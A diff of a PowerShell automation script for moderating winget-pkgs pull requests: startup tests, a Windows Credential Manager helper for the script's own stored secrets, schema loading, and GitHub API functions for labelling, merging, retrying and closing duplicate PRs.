-[int]$TestingPRNumber = 389042 -[string]$TestingPackageIdentifier = "Microsoft.PowerShell" -[string]$TestingPackageVersion = "7.5.8.0" -[string[]]$TestingArchitecture = "arm64" -[bool]$TestingElevationRequirement = $False - -#PRWatch -# [string]$TestingPRTitle = "#$TestingPRNumber" -[bool]$TestingManifestReview = $True -[string]$TestingInstallerType = "wix" -[string]$TestingAgreementUrl = $Null -[bool]$TestingWordFilterList = $False -[string]$TestingDisplayVersion = $Null -[string]$TestingInstallerUrl = "https://github.com/PowerShell/PowerShell/releases/download/v7.5.8/PowerShell-7.5.8-win-arm64.msi" - - -Write-Host -nonewline "Loading Schema tests - " - -#SchemaFinder -$SchemaFinderKeys += (get-keys $schemaData.installer.definitions) | %{$a = Get-SchemaFinder -File Installer -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.installer.Properties) | %{$a = Get-SchemaFinder -File Installer -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.version.Properties) | %{$a = Get-SchemaFinder -File Version -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.defaultLocale.Properties) | %{$a = Get-SchemaFinder -File defaultlocale -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.defaultLocale.definitions) | %{$a = Get-SchemaFinder -File defaultlocale -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.locale.Properties) | %{$a = Get-SchemaFinder -File locale -Property $_;if (!$a){$_}} -$SchemaFinderKeys += (get-keys $schemaData.locale.definitions) | %{$a = Get-SchemaFinder -File locale -Property $_;if (!$a){$_}} -# $SchemaFinderKeys = $SchemaFinderKeys | sort -unique - -#Broken tests - need to fix -# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).WordFilterList -eq $TestingWordFilterList),PRWatch-WordFilterList -# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).ElevationRequirement -eq $TestingElevationRequirement),TrackerVmValidate-ElevationRequirement -# $((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PRtitle -eq $TestingPRTitle),PRWatch-PRtitle - -Write-Host -nonewline "Loading Startup tests - " - -$StartupTestItems = "Path,Name -$((Get-VM | where {$_.Name -notmatch 'Win'}).count -eq (Get-Status).count),VMCount -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.AllPRsOnClipboard) -StrArray $TestingManifest) -eq $TestingPRNumber),$($Enum.ClipboardQueries.AllPRsOnClipboard) -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PackageIdentifier -eq $TestingPackageIdentifier),PRWatch-PackageIdentifier -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).PackageVersion -eq $TestingPackageVersion),PRWatch-PackageVersion -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).InstallerType -eq $TestingInstallerType),PRWatch-InstallerType -$($TestingAgreementUrl -match (Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).AgreementUrl),PRWatch-AgreementUrl -$($TestingDisplayVersion -match (Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).DisplayVersion),PRWatch-DisplayVersion -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.PRWatch) -StrArray $TestingManifest).InstallerUrl -eq $TestingInstallerUrl),PRWatch-InstallerUrl -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PRNumber -eq $TestingPRNumber),TrackerVmValidate-PRNumber -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PackageIdentifier -eq $TestingPackageIdentifier),TrackerVmValidate-PackageIdentifier -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).PackageVersion -eq $TestingPackageVersion),TrackerVmValidate-PackageVersion -$((Get-QueryClipboard -Query ($Enum.ClipboardQueries.TrackerVmValidate) -StrArray $TestingManifest).Architecture[0] -eq $TestingArchitecture),TrackerVmValidate-Architecture -$([CredManager.Util]::GetUserCredential(`"Application Name`").password -eq 'Password'),GetUserCredential -$($SchemaFinderKeys.count -eq 0),SchemaFinder -" | convertfrom-csv - - -# $StartupTestItems - $TotalTests = $StartupTestPaths.Count + $StartupTestItems.Count - - Write-Host "Running $TotalTests Tests: " -NoNewline - $fail = 0 - foreach ($Datum in $StartupTestPaths) { - $String = "$($Datum.Name) - " - $ForegroundColor = "yellow" - if (Test-Path $Datum.Path -ErrorAction SilentlyContinue) { - $ForegroundColor = $Enum.PSColors.Green - } else { - $ForegroundColor = $Enum.PSColors.Red - $fail++ - } - Write-Host -ForegroundColor $ForegroundColor $String -NoNewline - } - - foreach ($Datum in $StartupTestItems) { - $String = "$($Datum.Name) - " - $ForegroundColor = "yellow" - if ($Datum.Path -eq $True) { - $ForegroundColor = $Enum.PSColors.Green - } else { - $ForegroundColor = $Enum.PSColors.Red - $fail++ - } - Write-Host -ForegroundColor $ForegroundColor $String -NoNewline - } - - - if ($fail) { - Write-Host -ForegroundColor $Enum.PSColors.Red "$Fail failed!" -NoNewline - } else { - $Fail = "Nothing" - Write-Host -ForegroundColor $Enum.PSColors.Green "$Fail failed!" -NoNewline - } - Write-Host $Enum.Char.Blank #Write a blank string, to auto-add the console newline at the end of the tests. -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################ - C Sharp - ################################# -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#region CSharp -#From StackOverflow -Add-Type @" -using System; -using System.Runtime.InteropServices; - -public class Window { - [DllImport("user32.dll")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); - [DllImport("user32.dll")] - public static extern bool MoveWindow(IntPtr hWnd, int X, int Y, int nWidth, int nHeight, bool bRepaint); - -} -public struct RECT { - public int Left; // x position of upper-left corner - public int Top; // y position of upper-left corner - public int Right; // x position of lower-right corner - public int Bottom; // y position of lower-right corner -} -"@ - -#From https://stackoverflow.com/a/67944064 -#Updated with: -#https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.stringtocotaskmemuni?view=net-10.0 -#https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.copy?view=net-10.0#system-runtime-interopservices-marshal-copy(system-intptr-system-byte()-system-int32-system-int32) - -# How to store credentials -# [CredManager.Util]::SetUserCredential("Application Name", "Username", "Password") -# How to retrieve credentials -# [CredManager.Util]::GetUserCredential("Application Name") -# How to just get the password -# [CredManager.Util]::GetUserCredential("Application Name").password - -Add-Type @" -using System.Text; -using System; -using System.Runtime.InteropServices; - -namespace CredManager { - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct CredentialMem { - public int flags; - public int type; - public string targetName; - public string comment; - public System.Runtime.InteropServices.ComTypes.FILETIME lastWritten; - public int credentialBlobSize; - public IntPtr credentialBlob; - public int persist; - public int attributeCount; - public IntPtr credAttribute; - public string targetAlias; - public string userName; - } - - public class Credential { - public string target; - public string username; - public string password; - public Credential(string target, string username, string password) { - this.target = target; - this.username = username; - this.password = password; - } - } - - public class Util { - [DllImport("advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)] - private static extern bool CredRead(string target, int type, int reservedFlag, out IntPtr credentialPtr); - //Extend/reference CredReadW as CredRead. - - [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredFree", CharSet = CharSet.Unicode)] - private static extern void CredRelease([In] IntPtr credentialPtr); - //Extend/reference CredFree as CredRelease. - - public static Credential GetUserCredential(string target) { - CredentialMem credMem; - IntPtr credPtr; - if (CredRead(target, 1, 0, out credPtr)) { //If found, returns true and adds to credPtr, else false and error. - try { - credMem = Marshal.PtrToStructure(credPtr); - //"Marshals data from an unmanaged block of memory to a newly allocated managed object of the type specified by a generic type parameter." - byte[] passwordBytes = new byte[credMem.credentialBlobSize]; //Make a new byte array passwordBytes of size credentialBlobSize. - Marshal.Copy(credMem.credentialBlob, passwordBytes, 0, credMem.credentialBlobSize); - //Copies data from an unmanaged memory pointer to a managed 8-bit unsigned integer array. - return new Credential(credMem.targetName, credMem.userName, Encoding.Unicode.GetString(passwordBytes)); //Make a new Credential object cred. - } finally { - //credentialBlob is an interior pointer into credPtr; free the buffer once via CredFree. - if (credPtr != IntPtr.Zero) { CredRelease(credPtr); } - } - } else { - throw new Exception("Failed to retrieve credentials"); - } - } - - [DllImport("Advapi32.dll", SetLastError = true, EntryPoint = "CredWriteW", CharSet = CharSet.Unicode)] - private static extern bool CredWrite([In] ref CredentialMem userCredential, [In] int flags); - //Extend/reference CredWriteW as CredWrite. - - public static void SetUserCredential(string target, string userName, string password) { - //New CredentialMem object userCredential - CredentialMem userCredential = new CredentialMem(); - userCredential.targetName = target; - userCredential.type = 1; - userCredential.userName = userName; - userCredential.attributeCount = 0; - userCredential.persist = 3; - byte[] bpassword = Encoding.Unicode.GetBytes(password); - userCredential.credentialBlobSize = (int)bpassword.Length; - userCredential.credentialBlob = Marshal.StringToCoTaskMemUni(password); - //If write fails, emit last error. - try { - if (!CredWrite(ref userCredential, 0)) { - throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()); - } - } finally { - //Match StringToCoTaskMemUni allocation with FreeCoTaskMem. - Marshal.FreeCoTaskMem(userCredential.credentialBlob); - } - } - } -} -"@ -#endregion - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################# - Data - ################################## -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Function Read-JsonData { - Param( - $FileName = $JsonFileName, - $InputData = (Get-Content $FileName | ConvertFrom-Json) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Read-JsonData"}; - $out = @{} - $Names = ($InputData | Get-Member | where {$_.MemberType -match $Enum.Words.NoteProperty}).name - foreach ($Name in $Names) {#Reserialize PSObject as hash table. - $out.($Name) = $InputData.($Name) - } - $out -} - -Function Write-JsonData { - Param( - $Data = $Enum - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Write-JsonData"}; - [string]$Enum = $Data | ConvertTo-Json - if ($Enum) { - $Enum > $JsonFileName - } -} - -Function Get-ValidationData { - Param( - $Property = $Enum.Char.Blank, - $Match = $Enum.Char.Blank, - $data = (Get-Content $DataFileName | ConvertFrom-Csv | Where-Object {$_.$Property} | Where-Object {$_.$Property -match $Match}), - [switch]$Exact - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ValidationData $Property"}; - if ($Exact -eq $True) { - $data = $data | Where-Object {$_.$Property -eq $Match} - } - Return $data -} - -Function Add-ValidationData { - Param( - [Parameter(Mandatory)][string]$PackageIdentifier, - [string]$GitHubUserName = $Enum.GitHubUserNames.GitHubUserName, - [ValidateScript( { $_ -in (Get-Keys $Enum.ValidationDataStrictness) } )][string]$authStrictness, - [ValidateScript( { $_ -in (Get-Keys $Enum.ValidationDataType) } )][string]$authUpdateType, - [string]$AutoWaiverLabel, - [string]$versionParamOverrideUserName, - [int]$versionParamOverridePR, - [string]$code200OverrideUserName, - [int]$code200OverridePR, - [int]$AgreementOverridePR, - [string]$AgreementURL, - [string]$reviewText, - $data = (Get-Content $DataFileName | ConvertFrom-Csv) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Add-ValidationData $PackageIdentifier"}; - $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier - $out = ($data | where {$_.PackageIdentifier -eq $PackageIdentifier} | Select-Object $Enum.manifestKeys.PackageIdentifier,"GitHubUserName","authStrictness","authUpdateType","AutoWaiverLabel","versionParamOverrideUserName","versionParamOverridePR","code200OverrideUserName","code200OverridePR","AgreementOverridePR","AgreementURL","reviewText") - if ($null -eq $out) { - $out = ( $Enum.Char.Blank | Select-Object "PackageIdentifier","GitHubUserName","authStrictness","authUpdateType","AutoWaiverLabel","versionParamOverrideUserName","versionParamOverridePR","code200OverrideUserName","code200OverridePR","AgreementOverridePR","AgreementURL","reviewText") - $out.PackageIdentifier = $PackageIdentifier - } - - $out.GitHubUserName = $GitHubUserName - $out.authStrictness = $authStrictness - $out.authUpdateType = $authUpdateType - $out.AutoWaiverLabel = $AutoWaiverLabel - $out.versionParamOverrideUserName = $versionParamOverrideUserName - $out.versionParamOverridePR = $versionParamOverridePR - $out.code200OverrideUserName = $code200OverrideUserName - $out.code200OverridePR = $code200OverridePR - $out.AgreementURL = $AgreementURL - $out.AgreementOverridePR = $AgreementOverridePR - $out.reviewText = $reviewText - $data += $out - $data | sort PackageIdentifier | ConvertTo-Csv | Out-File $DataFileName -} - -Function Get-SchemaData { - $schemaData.installer = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.installer.1.12.0.json" -JSON - if ($schemaData.installer -match "404: Not Found") { - $schemaData.installer = gc "$SchemaBackupFolder\installer.json" | ConvertFrom-Json - } - - Write-Host -nonewline "Installer schema loaded - " - $schemaData.locale = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.locale.1.12.0.json" -JSON - if ($schemaData.locale -match "404: Not Found") { - $schemaData.locale = gc "$SchemaBackupFolder\locale.json" | ConvertFrom-Json - } - - Write-Host -nonewline "Locale schema loaded - " - $schemaData.defaultLocale = Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.defaultLocale.1.12.0.json" -JSON - if ($schemaData.defaultLocale -match "404: Not Found") { - $schemaData.defaultLocale = gc "$SchemaBackupFolder\defaultLocale.json" | ConvertFrom-Json - } - - Write-Host -nonewline "DefaultLocale schema loaded - " - $schemaData.version = (Invoke-GitHubRequest -Uri "https://raw.githubusercontent.com/microsoft/winget-cli/refs/heads/master/schemas/JSON/manifests/v1.12.0/manifest.version.1.12.0.json" -JSON) - if ($schemaData.version -match "404: Not Found") { - $schemaData.version = gc "$SchemaBackupFolder\version.json" | ConvertFrom-Json - } - - Write-Host -nonewline "Version schemae loaded - " -}; #end Get-SchemaData - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -############################### - First Run - ############################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -$Enum = Read-JsonData -Write-Host -nonewline "Loading schemae - " -if (!$schemaData) { - $schemaData = @{} - Get-SchemaData -} -Write-Host "Running Startup tests." -Get-StartupTest + [string]$Preset + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRRange $firstPR $lastPR"}; + $line = 0; + $firstPR..$lastPR | %{ + if ($Preset -eq $Enum.PRStates.Closed) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.($Preset) -PR $_ -UserInput $Body + } else { + Reply-ToPR -PR $_ -Body $Body; + Get-GitHubPreset -Preset $Enum.GitHubPresets.($Preset) -PR $_ + } + Get-TrackerProgress -Activity $MyInvocation.MyCommand.name -ItemName $_ -ItemNumber $line -TotalItems ($lastPR - $firstPR); + $line++ + } +} + +function Get-PushMePRYou { + Param( + $Author = $Enum.GitHubUserNames.Trenly, + $MatchString = $Enum.Strings.StandardizeFormatting, + [int]$Page = $Enum.Num.One + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRRange $Author $MatchString"}; + foreach ($Preset in ($Enum.SearchPresets.Approval,$Enum.SearchPresets.ToWork)) { + Write-Host "$(Get-Date -Format T) $($MyInvocation.MyCommand.name): $PR - $($Preset)"; + $PRsForAuthor = @(); + $PRsForAuthor = Get-SearchGitHub -Author $Author -Preset $Preset -Page $Page -NoLabels; + $PRsForAuthor = $PRsForAuthor | Where-Object {$_.user.login -eq $Author -and $_.title -match $MatchString -and $_.labels.name -notcontains $Enum.PRLabels.MA}; + if ($PRsForAuthor) { + $PRsForAuthor.number | % { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $_) + Write-Host "$PR - " -nonewline; + Approve-PR $PR + }; + } + }; + + $Preset = $Enum.VMStatus.Complete + Write-Host "$($Preset): $(get-date)"; +} + +Function Get-PRData { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + Process { + $PR2 = Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PRData $PR2"}; + Invoke-GitHubRequest "$GitHubApiBaseUrl/pulls/$PR2" -JSON + } +} + +Function Get-RerunCheck { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR), + $Comments = (Get-PRComments -PR $PR2), + [int]$MatchCode = $Enum.RerunCheck.MatchCode, + [int]$RetryCount = $Enum.Num.Two, + [string]$MatchTerm = $Enum.Strings.ValidationPipelineRun, + [switch]$WhatIf + ) + Process { + $PR = $PR2 + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RerunCheck $PR2"}; + $LastAutomationComment = $Enum.Char.Blank + $ValPipeRunCount = 0 + try { + $LastAutomationComment = ($Comments | Where-Object {$_.user.login -eq $Enum.GitHubUserNames.GitHubUserName})[$Enum.Index.Last].body -join $Enum.Char.Space + } catch {}#If this fails, I don't care. It's already the empty string it needs to be. + try { + $ValPipeRunCount = ($Comments.body | where {$_ -match $MatchTerm}).Count + } catch {}#If this fails, I don't care. It's already the zero it needs to be. + #IF contains MatchCode + #If only 1 retry + if (($LastAutomationComment -match $MatchCode) -OR + ($ValPipeRunCount -lt $RetryCount)) { + Write-Host "Checking PR $PR" + if ($WhatIf) { + Write-Host "Reply-ToPR -PR $PR -body '$($Enum.Strings.WingetbotRun)'" + } else { + Reply-ToPR -PR $PR -body $Enum.Strings.WingetbotRun + } + } else { + Write-Host "PR $PR is workable, adding to queue." + Add-PRToQueue -PR $PR + Return + } + } +} + +#PR Labels +Function Get-AddPRLabel { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$LabelName + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-AddPRLabel $PR"}; + $Response = Invoke-GitHubPRRequest -PR $PR -Method $Enum.PRRequestMethods.Post -Type labels -Data $LabelName -Output Content + Write-Host $Response.name + } +} + +Function Get-RemovePRLabel { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$LabelName + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RemovePRLabel $PR"}; + $Uri = "$GitHubApiBaseUrl/issues/$PR/labels/$LabelName" + $Response = Invoke-GitHubRequest -Uri $Uri -Method $Enum.PRRequestMethods.Delete + Write-Host $Response.StatusDescription + } +} + +function Get-CompletePR { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-CompletePR $PR"}; + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + $PRLabels = (invoke-GitHubPRRequest -PR $PR -Type labels -Method $Enum.PRRequestMethods.Get -Output Content).name | + where {$_ -notmatch $Enum.PRLabels.APP} | + where {$_ -notmatch $Enum.PRLabels.MMC} | + where {$_ -notmatch $Enum.PRLabels.MA} | + where {$_ -notmatch $Enum.PRLabels.NM} | + where {$_ -notmatch $Enum.PRLabels.NP} | + where {$_ -notmatch $Enum.PRLabels.PD} | + where {$_ -notmatch $Enum.PRLabels.RET} | + where {$_ -notmatch $Enum.PRLabels.VAD} | + where {$_ -notmatch $Enum.PRLabels.VIMU} | + where {$_ -notmatch $Enum.PRLabels.VC} + + foreach ($label in $PRLabels) { + Get-RemovePRLabel -PR $PR -Label $label + } + if (($PRLabels -join $Enum.Char.Space) -notmatch $Enum.PRLabels.VDE) { + Get-AddPRLabel -PR $PR -LabelName $Enum.PRLabels.VC + } +} + +Function Get-MergePR { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + $ShaNumber = (-1) + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-MergePR $PR"}; + $sha = (Invoke-Commits -PR $PR).sha + $sha = Get-StringOrArrayLast -StringOrArray $Sha -ArrayIndex $ShaNumber + + $out = $Enum.Char.Blank + $Data = Invoke-GitHubrequest -Uri "https://api.github.com/repos/microsoft/winget-pkgs/pulls/$PR/merge" -Method $Enum.PRRequestMethods.Put -Body "{`"merge_method`":`"squash`",`"sha`":`"$sha`"}" + if ($Data.Content) { + $out = $Data.Content + } else { + $out = $Data + #($Data[1..$Data.Length] | ConvertFrom-Json).message + } + + $Comments = Get-PRComments -PR $PR + if ($out -match $Enum.Words.Error) { + if ($Comments[$Enum.Index.Last].UserName -ne $Enum.GitHubUserNames.GitHubUserName) { + $LabelNames = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) + if ($LabelNames[$Enum.Index.Last].UserName -ne $Enum.GitHubUserNames.GitHubUserName) { + if (($LabelNames -join $Enum.Char.Space) -notmatch $Enum.PRLabels.BI) { + Reply-ToPR -PR $PR -UserInput $out -CannedMessage MergeFail -Automated + } + } + } + } + + if ($out -match $Enum.Strings.PullRequestHasMergeConflicts) { + Reply-ToPR -PR $PR -body $Enum.PRCloseReasons.MergeConflicts + } + Write-Host "$($MyInvocation.MyCommand.name): $PR - $out" + Add-PRToRecord -PR $PR -Action $Enum.PRActions.Squash + #invoke-GitHubprRequest -PR $PR -Method $Enum.PRRequestMethods.Put -Type merge -Data "{`"merge_method`":`"squash`",`"sha`":`"$sha`"}" + } +} + +Function Get-RetryPR { + Param( + [Parameter(ValueFromPipeline)][int]$PR, + [string]$Command = $Enum.Strings.WingetbotRun + ) + Process { + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-RetryPR $PR"}; + $Response = Invoke-GitHubPRRequest -PR $PR -Type $Enum.PRRequestTypes.Comments -Output $Enum.PRRequestOutput.StatusDescription -Method $Enum.PRRequestMethods.Post -Data $Command + Write-Host $Response + } +} + +Function Get-VerifyMMC { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-VerifyMMC $PR"}; + $Comments = (Get-PRComments -PR $PR | Select-Object $Enum.Strings.CreatedAt,@{n = $Enum.Strings.UserName; e = {$_.user.login -replace $Enum.Strings.BotPrefix}},body) + + [array]$MissingProperties = ($Comments.body | Where-Object {$_ -match $Enum.MMC.ManifestsHeader}) -split $Enum.Char.LineBreak | Where-Object { $_ -notmatch $Enum.MMC.ManifestsHeader -AND + $_ -notmatch $Enum.MMC.MissingProperties} #-AND + # $_ -notmatch "Icons" -AND + # $_ -notmatch "Platform" -AND + # $_ -notmatch "MinimumOSVersion" -AND + # $_ -notmatch "ReleaseNotes" -AND + # $_ -notmatch "ReleaseNotesUrl" -AND + # $_ -notmatch "ReleaseDate"} + + [array]$MMCExceptionList = (Get-Content $MMCExceptionListFile) -split $Enum.Char.LineBreak + foreach ($Exception in $MMCExceptionList) { + $MissingProperties = $MissingProperties | Where-Object { $_ -notmatch $Exception} + } + if (!$MissingProperties) { + Get-RemovePRLabel -PR $PR -LabelName $Enum.PRLabels.MMC + } +} + +Function Get-DuplicateCheck { + Param( + [Parameter(ValueFromPipeline)][int]$PR + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-DuplicateCheck $PR"}; + $mainPRLabels = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) + [int]$mainPR = 0 + [int]$closePR = 0 + + if ($mainPRLabels -match $Enum.PRLabels.VC) { #If this PR is VC + #Get the PR number for the other duplicate. + $Comments = Get-PRComments -PR $PR + $otherPR = $Comments.body | Where-Object {$_ -match $Enum.Strings.FoundDuplicatePullRequest} + $otherPR = $otherPR -split $Enum.Char.LineBreak + [int]$otherPR = (($otherPR | where {$_ -match $Enum.Regex.hashPRRegex}) -split $Enum.Char.Hash)[$Enum.Index.Last] + $otherPRLabels = ((Invoke-GitHubPRRequest -PR $otherPR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) + + #If this PR is VC, + #If other is VC, + #If other is MA, close this. + #If other is not MA, close the lower number as other. + #if this is CLA + #if other is CLA, do nothing. + #If other is not MA, close other. + #If other is not VC, close other. + + #If this is on Auth list but other is not + + + + if ($otherPRLabels -match $Enum.PRLabels.VC) { #If other PR is VC + if ($otherPRLabels -match $Enum.PRLabels.MA) { #If other is VCMA, close this. + $mainPR = $otherPR + $closePR = $PR + } else { #If other is not MA, close the lower number as other. + $mainPR = [math]::Max($PR,$otherPR) + $closePR = [math]::Min($PR,$otherPR) + }# end if Moderator-Approved + } else { #If other is not VC, close other. + $mainPR = $PR + $closePR = $otherPR + }# end if Validation-Completed + + if ($mainPRLabels -match $Enum.PRLabels.CLA) { #if both are VC and CLA, do nothing. + } else { + if ($otherPRLabels -match $Enum.PRLabels.CLA) {#if both are VC and this is CLA, close this. + } else { + }# end if mainPRLabels + }# end if mainPRLabels + + if ($closePR -gt 0) { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Duplicate -PR $closePR -UserInput $mainPR + Get-RemovePRLabel -PR $mainPR -Label $Enum.PRLabels.PD + }# end if closePR + }# end if mainPRLabels +}# end function + +#PR Waiver +Function Add-Waiver { + Param( + [int]$PR, + $LabelNames = ((Invoke-GitHubPRRequest -PR $PR -Type $Enum.prRequestTypes.Labels -Output $Enum.PRRequestOutput.Content -JSON).name) + ) + $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) + if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-Waiver $PR"}; + Foreach ($Label in $LabelNames) { + $Waiver = $Enum.Char.Blank + Switch ($Label) { + $Enum.PRLabels.EAT { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Completed -PR $PR + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.PT27 { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.PT12 { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.PT23 { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.VC { + Get-GitHubPreset -Preset $Enum.GitHubPresets.Approved -PR $PR + Add-PRToRecord -PR $PR -Action $actions[$Enum.Num.Two] + } + $Enum.PRLabels.VD { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.VEE { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.First] + $Waiver = $Label + } + $Enum.PRLabels.403 { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VIE { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VNE { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VSE { + Add-PRToRecord -PR $PR -Action $actions[$Enum.Index.Second] + $Waiver = $Label + } + $Enum.PRLabels.VUF { + 